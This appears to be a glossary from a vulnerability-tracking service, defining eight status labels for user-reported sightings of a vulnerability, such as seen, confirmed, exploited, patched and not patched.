- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.